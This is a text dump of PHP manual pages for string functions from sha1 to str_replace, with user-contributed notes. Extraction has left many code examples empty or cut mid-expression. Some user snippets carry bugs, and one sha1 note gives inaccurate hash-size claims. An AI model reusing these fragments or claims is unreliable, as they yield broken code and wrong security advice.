7) sha1 — Calculate the sha1 hash of a string Warning It is not recommended to use this function to secure passwords, due to the fast nature of this hashing algorithm. See the Password Hashing FAQ for details and best practices. Description~ > string sha1 ( string $str [, bool $raw_output = false ] ) < Calculates the sha1 hash of str using the » US Secure Hash Algorithm 1. Parameters~ str ----- The input string. raw_output ---------- If the optional raw_output is set to TRUE, then the sha1 digest is instead returned in raw binary format with a length of 20, otherwise the returned value is a 40-character hexadecimal number. Return Values~ Returns the sha1 hash as a string. Examples~ Example #1 A sha1() example > See Also~ |sha1_file|() - Calculate the sha1 hash of a file |crc32|() - Calculates the crc32 polynomial of a string |md5|() - Calculate the md5 hash of a string |hash|() - Generate a hash value (message digest) |crypt|() - One-way string hashing |password_hash|() - Creates a password hash User Contributed Notes 31 notes 64 nathan ¶9 years ago~ The suggestion below to double-hash your password is not a good idea. You are much much better off adding a variable salt to passwords before hashing (such as the username or other field that is dissimilar for every account). Double hashing is *worse* security than a regular hash. What you're actually doing is taking some input $passwd, converting it to a string of exactly 32 characters containing only the characters [0-9][A-F], and then hashing *that*. You have just *greatly* increased the odds of a hash collision (ie. the odds that I can guess a phrase that will hash to the same value as your password). sha1(md5($pass)) makes even less sense, since you're feeding in 128-bits of information to generate a 256-bit hash, so 50% of the resulting data is redundant. You have not increased security at all. 10 Gregory Boshoff ¶10 years ago~ Note that the sha1 algorithm has been compromised and is no longer being used by government agencies. As of PHP 5.1.2 a new set of hashing functions are available. http://www.php.net/manual/en/function.hash.php The new function hash() supports a new range of hashing methods. echo hash('sha256', 'The quick brown fox jumped over the lazy dog.'); It is recommended that developers start to future proof their applications by using the stronger sha-2, hashing methods such as sha256, sha384, sha512 or better. As of PHP 5.1.2 hash_algos() returns an array of system specific or registered hashing algorithms methods that are available to PHP. print_r(hash_algos()); -------------------------------------------------------------------------------- *similar_text* +--------------+~ | similar_text |~ +--------------+~ (PHP 4, PHP 5, PHP 7) similar_text — Calculate the similarity between two strings Description~ > int similar_text ( string $first , string $second [, float &$percent ] ) < This calculates the similarity between two strings as described in Programming Classics: Implementing the World's Best Algorithms by Oliver (ISBN 0-131-00413-1). Note that this implementation does not use a stack as in Oliver's pseudo code, but recursive calls which may or may not speed up the whole process. Note also that the complexity of this algorithm is O(N**3) where N is the length of the longest string. Parameters first ----- The first string. second ------ The second string. percent ------- By passing a reference as third argument, similar_text() will calculate the similarity in percent for you. Return Values Returns the number of matching chars in both strings. See Also~ |levenshtein|() - Calculate Levenshtein distance between two strings |soundex|() - Calculate the soundex key of a string User Contributed Notes 14 notes 57 SPAM HATER ¶4 years ago Hey there, Be aware when using this function, that the order of passing the strings is very important if you want to calculate the percentage of similarity, in fact, altering the variables will give a very different result, example : > < 53 daniel dot karbach at localhorst dot tv ¶6 years ago~ Please note that this function calculates a similarity of 0 (zero) for two empty strings. > < 6 vasyl at vasyltech dot com ¶1 year ago~ Recursive algorithm usually is very elegant one. I found a way to get better precision without the recursion. Imagine two different (or same) length ribbons with letters on each. You simply shifting one ribbon to left till it matches the letter the first. > $len2) { $i++; $len1--; } else { $i++; $j++; } } return round($similarity / $max, 2); } $str1 = '12345678901234567890'; $str2 = '12345678991234567890'; echo 'Similarity: ' . (similarity($str1, $str2) * 100) . '%'; ?> < 7 ryan at derokorian dot com ¶3 years ago~ Note that this function is case sensitive: > 90){ $too_similar = $row['reserved']; print "The name you entered is too similar the reserved name "".$row['reserved']."""; break; } } ?> < -------------------------------------------------------------------------------- *soundex* +---------+~ | soundex |~ +---------+~ (PHP 4, PHP 5, PHP 7) soundex — Calculate the soundex key of a string Description~ > string soundex ( string $str ) < Calculates the soundex key of str. Soundex keys have the property that words pronounced similarly produce the same soundex key, and can thus be used to simplify searches in databases where you know the pronunciation but not the spelling. This soundex function returns a string 4 characters long, starting with a letter. This particular soundex function is one described by Donald Knuth in "The Art Of Computer Programming, vol. 3: Sorting And Searching", Addison-Wesley (1973), pp. 391-392. Parameters~ str ----- The input string. Return Values~ Returns the soundex key as a string. Examples~ Example #1 Soundex Examples > < See Also~ |levenshtein|() - Calculate Levenshtein distance between two strings |metaphone|() - Calculate the metaphone key of a string |similar_text|() - Calculate the similarity between two strings User Contributed Notes 19 notes 11 nicolas dot zimmer at einfachmarke dot de ¶8 years ago~ Since soundex() does not produce optimal results for German language we have written a function to implement the so called Kölner Phonetik (Cologne Phonetic). Please find the code below in the hope it might be useful: > * @copyright 2008 by einfachmarke.de * @author Nicolas Zimmer */ function cologne_phon($word){ /** * @param string $word string to be analyzed * @return string $value represents the Kölner Phonetik value * @access public */ //prepare for processing $word=strtolower($word); $substitution=array( "ä"=>"a", "ö"=>"o", "ü"=>"u", "ß"=>"ss", "ph"=>"f" ); foreach ($substitution as $letter=>$substitution) { $word=str_replace($letter,$substitution,$word); } $len=strlen($word); //Rule for exeptions $exceptionsLeading=array( 4=>array("ca","ch","ck","cl","co","cq","cu","cx"), 8=>array("dc","ds","dz","tc","ts","tz") ); $exceptionsFollowing=array("sc","zc","cx","kx","qx"); //Table for coding $codingTable=array( 0=>array("a","e","i","j","o","u","y"), 1=>array("b","p"), 2=>array("d","t"), 3=>array("f","v","w"), 4=>array("c","g","k","q"), 48=>array("x"), 5=>array("l"), 6=>array("m","n"), 7=>array("r"), 8=>array("c","s","z"), ); for ($i=0;$i<$len;$i++){ $value[$i]=""; //Exceptions if ($i==0 AND $word[$i].$word[$i+1]=="cr") $value[$i]=4; foreach ($exceptionsLeading as $code=>$letters) { if (in_array($word[$i].$word[$i+1],$letters)){ $value[$i]=$code; } } if ($i!=0 AND (in_array($word[$i-1].$word[$i], $exceptionsFollowing))) { value[$i]=8; } //Normal encoding if ($value[$i]==""){ foreach ($codingTable as $code=>$letters) { if (in_array($word[$i],$letters))$value[$i]=$code; } } } //delete double values $len=count($value); for ($i=1;$i<$len;$i++){ if ($value[$i]==$value[$i-1]) $value[$i]=""; } //delete vocals for ($i=1;$i>$len;$i++){//omitting first characer code and h if ($value[$i]==0) $value[$i]=""; } $value=array_filter($value); $value=implode("",$value); return $value; } ?> < 9 Dirk Hoeschen - Feenders de ¶3 years ago~ I made some improvements to the "Cologne Phonetic" function of niclas zimmer. Key and value of the arrays are inverted to uses simple arrays instead of multidimensional arrays. Therefore all loops and iterations are not longer necessary to find the matching value for a char. I put the function into a static class and moved the array declarations outside the function. The result is more reliable and five times faster than the original. > 4, "ch" => 4, "ck" => 4, "cl" => 4, "co" => 4, "cq" => 4, "cu" => 4, "cx" => 4, "dc" => 8, "ds" => 8, "dz" => 8, "tc" => 8, "ts" => 8, "tz" => 8); static $eFollow = array("sc", "zc", "cx", "kx", "qx"); static $codingTable = array("a" => 0, "e" => 0, "i" => 0, "j" => 0, "o" => 0, "u" => 0, "y" => 0, "b" => 1, "p" => 1, "d" => 2, "t" => 2, "f" => 3, "v" => 3, "w" => 3, "c" => 4, "g" => 4, "k" => 4, "q" => 4, "x" => 48, "l" => 5, "m" => 6, "n" => 6, "r" => 7, "c" => 8, "s" => 8, "z" => 8); public static function getCologneHash($word) { if (empty($word)) return false; $len = strlen($word); for ($i = 0; $i < $len; $i++) { $value[$i] = ""; //Exceptions if ($i == 0 && $word[$i] . $word[$i + 1] == "cr") { $value[$i] = 4; } if (isset($word[$i + 1]) && isset(self::$eLeading[$word[$i] . $word[$i + 1]])) { $value[$i] = self::$eLeading[$word[$i] . $word[$i + 1]]; } if ($i != 0 && (in_array($word[$i - 1] . $word[$i], self::$eFollow))) { $value[$i] = 8; } // normal encoding if ($value[$i]=="") { if (isset(self::$codingTable[$word[$i]])) { $value[$i] = self::$codingTable[$word[$i]]; } } } // delete double values $len = count($value); for ($i = 1; $i < $len; $i++) { if ($value[$i] == $value[$i - 1]) { $value[$i] = ""; } } // delete vocals for ($i = 1; $i > $len; $i++) { // omitting first characer code and h if ($value[$i] == 0) { $value[$i] = ""; } } $value = array_filter($value); $value = implode("", $value); return $value; } } ?> < -------------------------------------------------------------------------------- *sprintf* +---------+~ | sprintf |~ +---------+~ (PHP 4, PHP 5, PHP 7) sprintf — Return a formatted string Description~ > string sprintf ( string $format [, mixed $args [, mixed $... ]] ) < Returns a string produced according to the formatting string format. Parameters~ format ------ The format string is composed of zero or more directives: ordinary characters (excluding %) that are copied directly to the result, and conversion specifications, each of which results in fetching its own parameter. This applies to both sprintf() and printf(). Each conversion specification consists of a percent sign (%), followed by one or more of these elements, in order: An optional sign specifier that forces a sign (- or +) to be used on a number. By default, only the - sign is used on a number if it's negative. This specifier forces positive numbers to have the + sign attached as well. An optional padding specifier that says what character will be used for padding the results to the right string size. This may be a space character or a 0 (zero character). The default is to pad with spaces. An alternate padding character can be specified by prefixing it with a single quote ('). See the examples below. An optional alignment specifier that says if the result should be left-justified or right-justified. The default is right-justified; a - character here will make it left-justified. An optional number, a width specifier that says how many characters (minimum) this conversion should result in. An optional precision specifier in the form of a period (.) followed by an optional decimal digit string that says how many decimal digits should be displayed for floating-point numbers. When using this specifier on a string, it acts as a cutoff point, setting a maximum character limit to the string. Additionally, the character to use when padding a number may optionally be specified between the period and the digit. A type specifier that says what type the argument data should be treated as. Possible types: % - a literal percent character. No argument is required. b - the argument is treated as an integer, and presented as a binary number. c - the argument is treated as an integer, and presented as the character with that ASCII value. d - the argument is treated as an integer, and presented as a (signed) decimal number. e - the argument is treated as scientific notation (e.g. 1.2e+2). The precision specifier stands for the number of digits after the decimal point since PHP 5.2.1. In earlier versions, it was taken as number of significant digits (one less). E - like %e but uses uppercase letter (e.g. 1.2E+2). f - the argument is treated as a float, and presented as a floating-point number (locale aware). F - the argument is treated as a float, and presented as a floating-point number (non-locale aware). Available since PHP 5.0.3. g - shorter of %e and %f. G - shorter of %E and %f. o - the argument is treated as an integer, and presented as an octal number. s - the argument is treated as and presented as a string. u - the argument is treated as an integer, and presented as an unsigned decimal number. x - the argument is treated as an integer and presented as a hexadecimal number (with lowercase letters). X - the argument is treated as an integer and presented as a hexadecimal number (with uppercase letters). Variables will be co-erced to a suitable type for the specifier: Type Handling Type Specifiers string s integer d, u, c, o, x, X, b double g, G, e, E, f, F Warning Attempting to use a combination of the string and width specifiers with character sets that require more than one byte per character may result in unexpected results The format string supports argument numbering/swapping. Here is an example: Example #1 Argument swapping > < This will output "There are 5 monkeys in the tree". But imagine we are creating a format string in a separate file, commonly because we would like to internationalize it and we rewrite it as: Example #2 Argument swapping > < We now have a problem. The order of the placeholders in the format string does not match the order of the arguments in the code. We would like to leave the code as is and simply indicate in the format string which arguments the placeholders refer to. We would write the format string like this instead: Example #3 Argument swapping > < An added benefit here is that you can repeat the placeholders without adding more arguments in the code. For example: Example #4 Argument swapping > < When using argument swapping, the n$ position specifier must come immediately after the percent sign (%), before any other specifiers, as shown in the example below. Example #5 Specifying padding character > < The above example will output: ......123 000000123 Example #6 Position specifier with other specifiers > < The above example will output: The tree contains 0005 monkeys Note: Attempting to use a position specifier greater than PHP_INT_MAX will result in sprintf() generating warnings. Warning The c type specifier ignores padding and width args ... Return Values~ Returns a string produced according to the formatting string format, or FALSE on failure. Examples~ Example #7 printf(): various examples > < The above example will output: %b = '10100111101010011010101101' %c = 'A' %d = '43951789' %e = '4.39518e+7' %u = '43951789' %u = '4251015507' %f = '43951789.000000' %o = '247523255' %s = '43951789' %x = '29ea6ad' %X = '29EA6AD' %+d = '+43951789' %+d = '-43951789' Example #8 printf(): string specifiers > < The above example will output: [monkey] [ monkey] [monkey ] [0000monkey] [####monkey] [many monke] Example #9 sprintf(): zero-padded integers > < Example #10 sprintf(): formatting currency > < Example #11 sprintf(): scientific notation > < See Also~ |printf|() - Output a formatted string |sscanf|() - Parses input from a string according to a format |fscanf|() - Parses input from a file according to a format |vsprintf|() - Return a formatted string |number_format|() - Format a number with grouped thousands |date|() - Format a local time/date User Contributed Notes 59 notes 43 Alex R. Gibbs ¶4 years ago~ 1. A plus sign ('+') means put a '+' before positive numbers while a minus sign ('-') means left justify. The documentation incorrectly states that they are interchangeable. They produce unique results that can be combined: > < outputs: | +1| -1| |1 |-1 | |+1 |-1 | 2. Padding with a '0' is different than padding with other characters. Zeros will only be added at the front of a number, after any sign. Other characters will be added before the sign, or after the number: > < outputs: |-002| |::-2| |-2::| |-2 | |-211| |-2 | 23 remy dot damour at -please-no-spam-laposte dot net ¶8 years ago~ With printf() and sprintf() functions, escape character is not backslash '\' but rather '%'. Ie. to print '%' character you need to escape it with itself: > < 6 timo dot frenay at gmail dot com ¶5 years ago~ Here is how to print a floating point number with 16 significant digits regardless of magnitude: > < This works more reliably than doing something like sprintf('%.15F', $value) as the latter may cut off significant digits for very small numbers, or prints bogus digits (meaning extra digits beyond what can reliably be represented in a floating point number) for very large numbers. 6 viktor at textalk dot com ¶8 years ago~ A more complete and working version of mb_sprintf and mb_vsprintf. It should work with any "ASCII preserving" encoding such as UTF-8 and all the ISO-8859 charsets. It handles sign, padding, alignment, width and precision. Argument swapping is not handled. > 0 && mb_strlen($arg,$encoding) > $precision) $arg = mb_substr($precision,0,$precision,$encoding); } // define padding if ($size > 0) { $arglen = mb_strlen($arg, $encoding); if ($arglen < $size) { if($filler==='') $filler = ' '; if ($align == '-') $padding_post = str_repeat($filler, $size - $arglen); else $padding_pre = str_repeat($filler, $size - $arglen); } } // escape % and pass it forward $newformat .= $padding_pre . str_replace('%', '%%', $arg) . $padding_post; } else { // another type, pass forward $newformat .= "%$sign$filler$align$size$precision$type"; $newargv[] = array_shift($argv); } $format = strval($post); } // Convert new format back from UTF-8 to the original encoding $newformat = mb_convert_encoding($newformat, $encoding, 'UTF-8'); return vsprintf($newformat, $newargv); } } ?> < 6 php at sharpdreams dot com ¶12 years ago~ Note that when using the argument swapping, you MUST number every argument, otherwise sprintf gets confused. This only happens if you use number arguments first, then switch to a non-numbered, and then back to a numbered one. > < 3 no dot email dot address at example dot com ¶14 years ago~ Using argument swapping in sprintf() with gettext: Let's say you've written the following script: > < Now you run xgettext in order to generate a .po file. The .po file will then look like this: #: file.php:9 #, ycp-format msgid "The %2\\$s contains %1\\$d monkeys" msgstr "" Notice how an extra backslash has been added by xgettext. Once you've translated the string, you must remove all backslashes from the ID string as well as the translation, so the po file will look like this: #: file.php:9 #, ycp-format msgid "The %2$s contains %1$d monkeys" msgstr "Der er %1$d aber i %2$s" Now run msgfmt to generate the .mo file, restart Apache to remove the gettext cache if necessary, and you're off. 8 Pacogliss ¶11 years ago~ Just a reminder for beginners : example 6 'printf("[%10s]\n", $s);' only works (that is, shows out the spaces) if you put the html '
    ' tags ( head-scraping time saver ;-).
    
    
    
    --------------------------------------------------------------------------------
    								*sscanf*
    +--------+~
    | sscanf |~
    +--------+~
    
    (PHP 4 >= 4.0.1, PHP 5, PHP 7)
    sscanf — Parses input from a string according to a format
    
    Description~
    >
    	mixed sscanf ( string $str , string $format [, mixed &$... ] )
    <
    The function sscanf() is the input analog of printf(). sscanf() reads
    from the string str and interprets it according to the specified
    format, which is described in the documentation for sprintf().
    
    Any whitespace in the format string matches any whitespace in the
    input string. This means that even a tab \t in the format string can
    match a single space character in the input string.
    
    Parameters~
    
    str
    -----
    The input string being parsed.
    
    format
    ------
    The interpreted format for str, which is described in the
    documentation for sprintf() with following differences:
    
    Function is not locale-aware.
    F, g, G and b are not supported.
    D stands for decimal number.
    i stands for integer with base detection.
    n stands for number of characters processed so far.
    ...
    Optionally pass in variables by reference that will contain the parsed
    values.
    
    Return Values~
    
    If only two parameters were passed to this function, the values parsed
    will be returned as an array. Otherwise, if optional parameters are
    passed, the function will return the number of assigned values. The
    optional parameters must be passed by reference.
    
    If there are more substrings expected in the format than there are available within str, -1 will be returned.
    
    Examples~
    
    Example #1 sscanf() Example
    >
    	
    <
    If optional parameters are passed, the function will return the number of assigned values.
    
    Example #2 sscanf() - using optional parameters
    >
    	
    	    $first
    	    $last
    	\n";
    	?>
    <
    See Also~
    
    |fscanf|() - Parses input from a file according to a format
    |printf|() - Output a formatted string
    |sprintf|() - Return a formatted string
    
    User Contributed Notes 17 notes
    
    47 jon at fuck dot org ¶14 years ago~
    this function is a great way to get integer rgb values from the html
    equivalent hex.
    
    list($r, $g, $b) = sscanf('00ccff', '%2x%2x%2x');
    
    19 mikewillitsgmail.com ¶9 years ago~
    FYI - if you are trying to scan from a string which contains a
    filename with extension. For instance:
    >
    	
    <
    The scanned string in the $fpart1 parameter turns out to be 'name.gif'
    and $fpart2 will be NULL.
    
    To get around this you can simply replace the "." with a space or
    another "white-space like" string sequence.
    
    I didn't see any other comments on regarding string literals which
    contain a '.' so I thought I'd mention it. The subtle characteristics
    of having "white-space delimited" content I think can be a source of
    usage contention. Obviously, another way to go is regular expressions
    in this instance, but for newer users this may be helpful.
    
    Just in case someone else spent 10 minutes of frustration like I did.
    This was seen on PHP Version 5.2.3-1ubuntu6.3.
    
    Searching the bug reports shows another users misunderstanding:
    http://bugs.php.net/bug.php?id=7793
    
    
    
    --------------------------------------------------------------------------------
    								*str_getcsv*
    +------------+~
    | str_getcsv |~
    +------------+~
    
    (PHP 5 >= 5.3.0, PHP 7)
    str_getcsv — Parse a CSV string into an array
    
    Description~
    >
    	array str_getcsv ( string $input [, string $delimiter = "," [, string $enclosure = '"' [, string $escape = "\\" ]]] )
    <
    Parses a string input for fields in CSV format and returns an array
    containing the fields read.
    
    Parameters~
    
    input
    -----
    The string to parse.
    
    delimiter
    -----
    Set the field delimiter (one character only).
    
    enclosure
    ---------
    Set the field enclosure character (one character only).
    
    escape
    ------
    Set the escape character (one character only). Defaults as a backslash
    (\)
    
    Return Values~
    
    Returns an indexed array containing the fields read.
    
    See Also~
    
    |fgetcsv|() - Gets line from file pointer and parse for CSV fields
    
    User Contributed Notes 37 notes
    
    270 james at moss dot io ¶2 years ago~
    Handy one liner to parse a CSV file into an array
    >
    	
    <
    9 dejiakala at gmail dot com ¶2 years ago~
    I wanted the best of the 2 solutions by james at moss dot io and Jay
    Williams (csv_to_array()) - create associative array from a CSV file
    with a header row.
    >
    	
    <
    Then I thought why not try some benchmarking? I grabbed a sample CSV
    file with 50,000 rows (10 columns each) and Vulcan Logic Disassembler
    (VLD) which hooks into the Zend Engine and dumps all the opcodes
    (execution units) of a script - see http://pecl.php.net/package/vld
    and example here:
    http://fabien.potencier.org/article/8/print-vs-echo-which-one-is-faster
    
    Result: 
    
    array_walk() and array_map() - 39 opcodes
    csv_to_array() - 69 opcodes
    
    51 starrychloe at oliveyou dot net ¶1 year ago~
    Based on James' line, this will create an array of associative arrays
    with the first row column headers as the keys.
    >
    	 
    <
    This will yield something like
        [2] => Array
            (
                [Campaign ID] => 295095038
                [Ad group ID] => 22460178158
                [Keyword ID] => 3993587178
    
    80 durik at 3ilab dot net ¶6 years ago~
    As the str_getcsv(), unlike to fgetcsv(), does not parse the rows in
    CSV string, I have found following easy workaround: 
    >
    	 
    <
    Why not use explode() instead of str_getcsv() to parse rows? Because
    explode() would not treat possible enclosured parts of string or
    escaped characters correctly.
    
    58 Jay Williams ¶6 years ago~
    Here is a quick and easy way to convert a CSV file to an associated
    array:
    >
    	
    <
    17 Ryan Rubley ¶3 years ago~
    @normadize - that is a nice start, but it fails on situations where a
    field is empty but quoted (returning a string with one double quote
    instead of an empty string) and cases like """""foo""""" that should
    result in ""foo"" but instead return "foo". I also get a row with 1
    empty field at the end because of the final CRLF in the CSV. Plus, I
    don't really like the !!Q!! magic or urlencoding to get around things.
    Also, \R doesn't work in pcre on any of my php installations.
    
    Here is my take on this, without anonymous functions (so it works on
    PHP < 5.3), and without your options (because I believe the only
    correct way to parse according to the RFC would be $skip_empty_lines =
    false and $trim_fields = false).
    >
    	//parse a CSV file into a two-dimensional array
    	//this seems as simple as splitting a string by lines and commas, but this only works if tricks are performed
    	//to ensure that you do NOT split on lines and commas that are inside of double quotes.
    	function parse_csv($str)
    	{
    	    //match all the non-quoted text and one series of quoted text (or the end of the string)
    	    //each group of matches will be parsed with the callback, with $matches[1] containing all the non-quoted text,
    	    //and $matches[3] containing everything inside the quotes
    	    $str = preg_replace_callback('/([^"]*)("((""|[^"])*)"|$)/s', 'parse_csv_quotes', $str);
    
    	    //remove the very last newline to prevent a 0-field array for the last line
    	    $str = preg_replace('/\n$/', '', $str);
    
    	    //split on LF and parse each line with a callback
    	    return array_map('parse_csv_line', explode("\n", $str));
    	}
    
    	//replace all the csv-special characters inside double quotes with
    	//markers using an escape sequence
    
    	function parse_csv_quotes($matches)
    	{
    	    //anything inside the quotes that might be used to split the string into lines and fields later,
    	    //needs to be quoted. The only character we can guarantee as safe to use, because it will never appear in the unquoted text, is a CR
    	    //So we're going to use CR as a marker to make escape sequences for CR, LF, Quotes, and Commas.
    	    $str = str_replace("\r", "\rR", $matches[3]);
    	    $str = str_replace("\n", "\rN", $str);
    	    $str = str_replace('""', "\rQ", $str);
    	    $str = str_replace(',', "\rC", $str);
    
    	    //The unquoted text is where commas and newlines are allowed, and where the splits will happen
    	    //We're going to remove all CRs from the unquoted text, by normalizing all line endings to just LF
    	    //This ensures us that the only place CR is used, is as the escape sequences for quoted text
    	    return preg_replace('/\r\n?/', "\n", $matches[1]) . $str;
    	}
    
    	//split on comma and parse each field with a callback
    	function parse_csv_line($line)
    	{
    	    return array_map('parse_csv_field', explode(',', $line));
    	}
    
    	//restore any csv-special characters that are part of the data
    	function parse_csv_field($field) {
    	    $field = str_replace("\rC", ',', $field);
    	    $field = str_replace("\rQ", '"', $field);
    	    $field = str_replace("\rN", "\n", $field);
    	    $field = str_replace("\rR", "\r", $field);
    	    return $field;
    	}
    <
    16 normadize -a- gmail -d- com ¶4 years ago~
    Like some other users here noted, str_getcsv() cannot be used if you
    want to comply with either the RFC or with most spreadsheet tools like
    Excel or Google Docs.
    
    These tools do not escape commas or new lines, but instead place
    double-quotes (") around the field. If there are any double-quotes in
    the field, these are escaped with another double-quote (" becomes "").
    All this may look odd, but it is what the RFC and most tools do ... 
    
    For instance, try exporting as .csv a Google Docs spreadsheet (File >
    Download as > .csv) which has new lines and commas as part of the
    field values and see how the .csv content looks, then try to parse it
    using str_getcsv() ... it will spectacularly regardless of the
    arguments you pass to it.
    
    Here is a function that can handle everything correctly, and more:
    
    - doesn't use any for or while loops,
    - it allows for any separator (any string of any length),
    - option to skip empty lines,
    - option to trim fields,
    - can handle UTF8 data too (although .csv files are likely non-unicode).
    
    Here is the more human readable version of the function:
    >
    	
    <
    Since this is not using any loops, you can actually write it as a
    one-line statement (one-liner).
    
    Here's the function using just one line of code for the function body,
    formatted nicely though:
    >
    	
    <
    Replace !!Q!! with another placeholder if you wish.
    
    Have fun.
    
    
    
    --------------------------------------------------------------------------------
    								*str_ireplace*
    +--------------+~
    | str_ireplace |~
    +--------------+~
    
    (PHP 5, PHP 7)
    str_ireplace — Case-insensitive version of str_replace().
    
    Description
    >
    	mixed str_ireplace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )
    <
    This function returns a string or an array with all occurrences of
    search in subject (ignoring case) replaced with the given replace
    value. If you don't need fancy replacing rules, you should generally
    use this function instead of preg_replace() with the i modifier.
    
    Parameters~
    
    If search and replace are arrays, then str_ireplace() takes a value
    from each array and uses them to search and replace on subject. If
    replace has fewer values than search, then an empty string is used for
    the rest of replacement values. If search is an array and replace is a
    string, then this replacement string is used for every value of
    search. The converse would not make sense, though.
    
    If search or replace are arrays, their elements are processed first to
    last.
    
    search
    ------
    The value being searched for, otherwise known as the needle. An array
    may be used to designate multiple needles.
    
    replace
    -------
    The replacement value that replaces found search values. An array may
    be used to designate multiple replacements.
    
    subject
    -------
    The string or array being searched and replaced on, otherwise known as
    the haystack.
    
    If subject is an array, then the search and replace is performed with
    every entry of subject, and the return value is an array as well.
    
    count
    -----
    If passed, this will be set to the number of replacements performed.
    
    Return Values~
    
    Returns a string or an array of replacements.
    
    Examples~
    
    Example #1 str_ireplace() example
    >
    	");
    	echo $bodytag; // 
    	?>
    <
    Notes
    
    Note: This function is binary-safe.
    
    Caution
    Replacement order gotcha
    
    Because str_ireplace() replaces left to right, it might replace a
    previously inserted value when doing multiple replacements. Example #2
    in the str_replace() documentation demonstrates how this may affect
    you in practice.
    
    See Also~
    
    |str_replace|() - Replace all occurrences of the search string with the replacement string
    |preg_replace|() - Perform a regular expression search and replace
    |strtr|() - Translate characters or replace substrings
    
    User Contributed Notes 11 notes
    
    16 sawdust ¶8 years ago~
    Here's a different approach to search result keyword highlighting that
    will match all keyword sub strings in a case insensitive manner and
    preserve case in the returned text. This solution first grabs all
    matches within $haystack in a case insensitive manner, and the
    secondly loops through each of those matched sub strings and applies a
    case sensitive replace in $haystack. This way each unique (in terms of
    case) instance of $needle is operated on individually allowing a case
    sensitive replace to be done in order to preserve the original case of
    each unique instance of $needle.
    >
    	= 1) {
    		foreach ($matches[0] as $match) {
    		    $haystack = str_replace($match, ''.$match.'', $haystack);
    		}
    	    }
    	    return $haystack;
    	}
    	?>
    <
    6 daevid at daevid dot com ¶11 years ago~
    here's a neat little function I whipped up to do HTML color coding of
    SQL strings. 
    >
    	$1'", $query, -1); 
    
    	    $query = str_ireplace( 
    				    array ( 
    					    '*', 
    					    'SELECT ', 
    					    'UPDATE ', 
    					    'DELETE ', 
    					    'INSERT ', 
    					    'INTO', 
    					    'VALUES', 
    					    'FROM', 
    					    'LEFT', 
    					    'JOIN', 
    					    'WHERE', 
    					    'LIMIT', 
    					    'ORDER BY', 
    					    'AND', 
    					    'OR ', //[dv] note the space. otherwise you match to 'COLOR' ;-) 
    					    'DESC', 
    					    'ASC', 
    					    'ON ' 
    					  ), 
    				    array ( 
    					    "*", 
    					    "SELECT ", 
    					    "UPDATE ", 
    					    "DELETE ", 
    					    "INSERT ", 
    					    "INTO", 
    					    "VALUES", 
    					    "FROM", 
    					    "LEFT", 
    					    "JOIN", 
    					    "WHERE", 
    					    "LIMIT", 
    					    "ORDER BY", 
    					    "AND", 
    					    "OR ", 
    					    "DESC", 
    					    "ASC", 
    					    "ON " 
    					  ), 
    				    $query 
    				  ); 
    
    	    echo "SQL[".$SQL_INT."]: ".$query.";
    \n"; $SQL_INT++; } //SQL_DEBUG ?> < -------------------------------------------------------------------------------- *str_pad* +---------+~ | str_pad |~ +---------+~ (PHP 4 >= 4.0.1, PHP 5, PHP 7) str_pad — Pad a string to a certain length with another string Description~ > string str_pad ( string $input , int $pad_length [, string $pad_string = " " [, int $pad_type = STR_PAD_RIGHT ]] ) < This functions returns the input string padded on the left, the right, or both sides to the specified padding length. If the optional argument pad_string is not supplied, the input is padded with spaces, otherwise it is padded with characters from pad_string up to the limit. Parameters~ input ----- The input string. pad_length ---------- If the value of pad_length is negative, less than, or equal to the length of the input string, no padding takes place, and input will be returned. pad_string Note: The pad_string may be truncated if the required number of padding characters can't be evenly divided by the pad_string's length. pad_type Optional argument pad_type can be STR_PAD_RIGHT, STR_PAD_LEFT, or STR_PAD_BOTH. If pad_type is not specified it is assumed to be STR_PAD_RIGHT. Return Values~ Returns the padded string. Examples~ Example #1 str_pad() example > < User Contributed Notes 21 notes 35 Marjune ¶2 years ago~ since the default pad_type is STR_PAD_RIGHT. using STR_PAD_BOTH were always favor in the right pad if the required number of padding characters can't be evenly divided. e.g > < 15 wes at nospamplsexample dot org ¶2 years ago~ multibyte version: > < 8 qeremy [atta] gmail [dotta] com ¶4 years ago~ A proper unicode string padder; > < Test; > < Output; len 3: ... len 3: ... len 4: ...A len 4: ...Ä len 5: A...A len 5: Ä...Ä len 6: A...AO len 6: Ä...ÄÖ ... 6 pestilenc at hotmail dot com ¶14 years ago~ For me this worked. $string = 'help'; #First, str_pad() with unique character. $string = str_pad($string, 10, "*", STR_PAD_BOTH); #$string = '***help***'; #Second, str_replace with ' ' $string = str_replace("*", " ", $string); -------------------------------------------------------------------------------- *str_repeat* +------------+~ | str_repeat |~ +------------+~ (PHP 4, PHP 5, PHP 7) str_repeat — Repeat a string Description~ > string str_repeat ( string $input , int $multiplier ) < Returns input repeated multiplier times. Parameters~ input ----- The string to be repeated. multiplier ---------- Number of time the input string should be repeated. multiplier has to be greater than or equal to 0. If the multiplier is set to 0, the function will return an empty string. Return Values~ Returns the repeated string. Examples~ Example #1 str_repeat() example > < The above example will output: -=-=-=-=-=-=-=-=-=-= See Also~ for |str_pad|() - Pad a string to a certain length with another string |substr_count|() - Count the number of substring occurrences User Contributed Notes 4 notes 18 Damien Bezborodov ¶7 years ago~ Here is a simple one liner to repeat a string multiple times with a separator: > < Example script: > < Example Output: bar,bar,bar,bar,bar ?,?,? -------------------------------------------------------------------------------- *str_replace* +-------------+~ | str_replace |~ +-------------+~ (PHP 4, PHP 5, PHP 7) str_replace — Replace all occurrences of the search string with the replacement string Description~ > mixed str_replace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] ) < This function returns a string or an array with all occurrences of search in subject replaced with the given replace value. If you don't need fancy replacing rules (like regular expressions), you should always use this function instead of preg_replace(). Parameters~ If search and replace are arrays, then str_replace() takes a value from each array and uses them to search and replace on subject. If replace has fewer values than search, then an empty string is used for the rest of replacement values. If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though. If search or replace are arrays, their elements are processed first to last. search ------ The value being searched for, otherwise known as the needle. An array may be used to designate multiple needles. replace ------- The replacement value that replaces found search values. An array may be used to designate multiple replacements. subject ------- The string or array being searched and replaced on, otherwise known as the haystack. If subject is an array, then the search and replace is performed with every entry of subject, and the return value is an array as well. count ----- If passed, this will be set to the number of replacements performed. Return Values~ This function returns a string or an array with the replaced values. Examples~ Example #1 Basic str_replace() examples > $bodytag = str_replace("%body%", "black", ""); // Provides: Hll Wrld f PHP $vowels = array("a", "e", "i", "o", "u", "A", "E", "I", "O", "U"); $onlyconsonants = str_replace($vowels, "", "Hello World of PHP"); // Provides: You should eat pizza, beer, and ice cream every day $phrase = "You should eat fruits, vegetables, and fiber every day."; 